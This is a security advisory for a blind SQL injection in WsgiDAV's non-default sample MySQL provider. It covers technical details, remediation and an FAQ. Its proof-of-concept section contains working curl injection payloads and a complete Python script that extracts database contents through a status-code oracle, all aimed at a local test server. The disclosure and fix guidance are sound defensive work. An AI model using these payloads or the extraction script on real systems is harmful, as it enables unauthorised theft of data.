CVE-2026-55509: WsgiDAV: Blind SQL injection in the MySQL provider
Summary
The sample MySQLBrowserProvider builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.
Note: The MySQLBrowserProvider module is only provided as an example for WsgiDAV and not enabled by default. Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability.
Details
A path like /db/users/1 is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is SELECT id FROM testdb.users WHERE id = '<key>', so a single quote in the key breaks out of the literal and the rest runs as SQL.
The provider's numeric-type check has a typo (INTT instead of INT), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.
The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.
PoC
Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share /db mapped to MySQLBrowserProvider, anonymous access.
Oracle, true then false:
curl -s -o /dev/null -w "%{httpcode}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271" curl -s -o /dev/null -w "%{httpcode}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272"
Returns 500 then 404. The only difference is the injected condition ('1'='1' vs '1'='2'), proving the input is executed as SQL.
Data extraction over the same oracle (dump.py):
import urllib.parse, urllib.request, urllib.error BASE = "http://127.0.0.1:8080/db/users/"
def truthy(cond): url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2") try: urllib.request.urlopen(url); return True except urllib.error.HTTPError as e: return e.code != 404
def extract(expr, maxlen=128): out = "" for i in range(1, maxlen + 1): if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1 else: hi = mid out += chr(lo) return out
print(extract("SELECT GROUPCONCAT(name,0x3a,secret) FROM users"))
python dump.py
Prints alice:alice-password,bob:bob-token, confirming arbitrary read of table data with no auth.
Impact
Anyone who can read a MySQLBrowserProvider share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges.
Scope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.
Other sources
WsgiDAV is a generic and extendable WebDAV server based on WSGI. Prior to 4.3.5, the sample MySQLBrowserProvider in wsgidav/samples/mysqldavprovider.py concatenates the record key parsed from a request URL directly into SQL WHERE clauses. The affected existsrecordbyprimarykey, getfieldbyprimarykey, and getrecordbyprimarykey methods are part of a shipped example provider that is not enabled by default. An attacker who can access a share explicitly configured with this non-default provider can inject SQL through a normal GET request; anonymously exposed read shares permit a status-code oracle and extraction of arbitrary data reachable by the configured MySQL account. This issue is fixed in version 4.3.5.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/WsgiDAVto a version that resolves this vulnerability.Fixed in 4.3.5 - Upgrade
Upgrade
wsgidav/MySQLBrowserProvider (sample)to a version that resolves this vulnerability.Fixed in 4.3.5 - Configuration
Ensure the shipped sample `MySQLBrowserProvider` provider is not enabled/activated in the WsgiDAV configuration; the vulnerability only affects installations that explicitly activate the module.
WsgiDAV enable MySQLBrowserProvider module = false
Event History
Frequently Asked Questions
Which WsgiDAV deployments are affected?
Only deployments that explicitly activate the example MySQLBrowserProvider module are affected. The module is not enabled by default, so installations that do not configure it are not affected.
Does exploitation require authentication?
An attacker needs network access to a share backed by this provider. Because these read shares are commonly published without authentication, exploitation may be possible anonymously.
What should administrators check to determine exposure?
Review the WsgiDAV configuration for explicit activation of MySQLBrowserProvider and identify shares backed by it. Any reachable share using this provider should be treated as exposed.
What can be done if an update cannot be applied immediately?
Disable the MySQLBrowserProvider module or remove access to shares backed by it. This prevents request URLs from reaching the vulnerable provider.